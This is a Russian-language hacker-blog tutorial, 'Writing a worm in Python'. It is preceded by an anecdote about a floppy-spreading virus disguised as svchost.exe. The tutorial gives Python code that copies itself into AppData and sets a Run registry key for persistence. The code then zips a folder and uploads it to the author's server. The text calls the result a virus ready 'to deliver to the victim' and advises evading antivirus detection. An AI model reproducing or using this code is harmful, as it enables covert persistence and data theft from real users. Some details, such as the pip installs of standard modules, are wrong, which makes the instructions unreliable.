Выводит липовое сообщение об ошибке. И после перезагрузки висит в памяти, и каждые 30000 миллисекунд записывается на дискету под именем diskinfo.exe. На удивление простой вирус, правда? Никакого вреда, только распространение. Но нестандартный ключ записи в реестр и незадачливое имя файлы svchost.exe вводило в ступор даже опытных сис/админов. Вроде бы никаких лишних процессов нет, а он есть. Палилось это довольно легко.
Настоящий процесс svchost.exe никогда не запускается из-под пользователя. Он всегдаимеет приоритет запускаот системы (SYSTEM). После эксперимента, зверь был отправлен ко всем известным антивирусным компаниями и начал детектироваться спустя двадня. Все данные об эксперименте отражены в статьях. А программа прекратиласвое существование.
Пишем червь на Python
Hacker Life
Введение
Наверно многие из читающих уже имели дело с таким термином как «сетевой червь«. Данный тип вирусов давно устарел, а самым первым разработчиком такого файла стал Роберт Тэппэн Моррис. В данной статье пойдет речь о написании такого рода вируса на языке Python. Давайте начнем!
Основы и инструменты
Прежде всего вспомним термин и расшифровку нашего вируса:
Сетевой червь — разновидность вредоносной программы, самостоятельно распространяющейся через локальные и глобальные (Интернет) компьютерные сети. Источник: Википедия
Теперь установим необходимые нам компоненты для работы, а это среда разработки, язык и зависимости.
- Скачиваем Python [Download]
- Установим IDE [Download]
Далее ставим зависимости для успешной работы (в консольном окне):
pip install pyinstaller pip install shutil pip install winreg pip install requests
[*] В случае ошибки при работе установите пакеты в самой IDE нажав на значок ошибки.
Создание червя
Для начало импортируем библиотеки:
import shutil import os from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import requests
Копируем наш файл в папку AppData:
directory = os.getenv("APPDATA") + r'/ваша_программа/'
base_file = directory + os.path.basename(__file__)
if not os.path.exists(directory):
os.makedirs(directory)
shutil.copy(__file__, base_file)
Дальше нам требуется, чтобы наш файл запускался при каждой активации системы. Для этого используем реестр и прописываем его туда:
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
r'SOFTWAREMicrosoftWindowsCurrentVersionRun',
0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Имя файла', 0, REG_SZ, base_file)
CloseKey(path_to_reestr)
Для отправки всех данных нам потребуется упаковать это в наш архив командой:
shutil.make_archive(r'Название архива', 'zip', r'Папка')
И в завершающий момент отправляем все данные к нам на сервер:
files = {'Название архива': open('Название архива', 'rb')}
r = requests.post('Ваш сервер', files=files)
Теперь дело за малым, компиляция программы в exe вид.
Воспользуемся pyinstaller перед этим переместив наш файл на локальный диск C. Вводим команду (вы должны быть в папке с файлом):
pyinstaller -i путь до иконки --onefile имя файла.py
После этого у нас будет готовый вирус для работы. Остается доставить его жертве.
Завершение
В данной статье я попытался максимально понятно рассказать о создании вируса на Python. Единственное данный файл не рекомендуется сливать антивирусам и рекомендуется использовать дополнительную защиту от обнаружения. В остальном приятной работы!